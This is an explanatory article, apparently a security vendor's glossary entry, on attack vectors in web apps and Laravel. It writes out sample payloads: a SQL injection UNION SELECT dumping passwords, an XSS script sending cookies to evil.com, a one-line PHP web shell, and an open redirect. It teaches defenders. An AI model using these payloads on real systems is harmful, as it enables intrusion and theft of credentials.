What Is Attack Vector?

An attack vector is the specific technical mechanism used to deliver an exploit to a vulnerability. Each vector has a distinct pathway from the attacker's request to the vulnerable code.

SQL injection vector — The attacker identifies a parameter that reaches a raw database query: a search field, URL ID parameter, or filter option. They probe with a single quote (') to observe whether the application returns a SQL error or behaves differently — confirming the parameter is injectable. They then construct a UNION SELECT payload to determine column count with ORDER BY 1--, ORDER BY 2-- until an error occurs, and finally extract data: UNION SELECT null,username,password FROM users--. The malicious SQL travels as a normal HTTP request parameter but is interpreted as SQL grammar by the database engine.

XSS attack vector — The attacker finds an input that appears in HTML output without escaping. They inject <script>alert(1)</script> — if an alert fires when the page loads, the input is an XSS vector. The real payload exfiltrates session cookies: <script>new Image().src='https://evil.com/?c='+document.cookie</script>. This script executes in the victim's browser at the security origin of the target site, with full access to cookies, localStorage, and the DOM.

File upload vector — The application accepts file uploads but validates only the Content-Type header. The attacker crafts a request with Content-Type: image/jpeg but uploads a file with a .php extension containing <?php system($_GET['cmd']); ?>. If the application stores the file in a web-accessible directory, requesting the file URL executes arbitrary PHP code on the server with the web server's permissions.

Open redirect vector — The login or return URL endpoint accepts a redirect parameter: /login?redirect=https://evil.com. After successful authentication, the application redirects to the attacker-controlled URL. The attacker uses this in phishing emails — the link starts with the legitimate domain, passing superficial inspection, but sends the authenticated user to a credential-harvesting page.

Brute-force vector — The login endpoint accepts unlimited POST requests without rate limiting. The attacker uses a tool like Hydra or a custom script to iterate through a wordlist, sending one request per candidate password. The HTTP response distinguishes success (302 redirect with session cookie) from failure (422 validation error), allowing the tool to identify valid credentials automatically.

Understanding attack vectors is what allows developers to build effective defenses. It is not enough to know a vulnerability exists — you need to understand the specific path an attacker would use to exploit it. Each attack vector requires a different defense.

In Laravel, the most exploited attack vectors are well-documented but still widely encountered. SQL injection via DB::raw() or whereRaw() with user input bypasses Eloquent's parameterized query protection. XSS via {!! !!} in Blade templates allows script injection. Unprotected throttle middleware on login routes enables credential stuffing and brute-force attacks.

The config/auth.php and route definitions in routes/web.php and routes/api.php are the most important files for understanding what vectors are exposed. A route defined without middleware is one attack vector. An API endpoint that accepts file uploads without validating MIME type is another.

Developers often focus on code-level vectors (injection, XSS) while neglecting infrastructure vectors: exposed .env files served by misconfigured Nginx, readable storage/ directories, or debug endpoints enabled in production. StackShield specifically monitors these infrastructure-level vectors because they are invisible to code-only security reviews.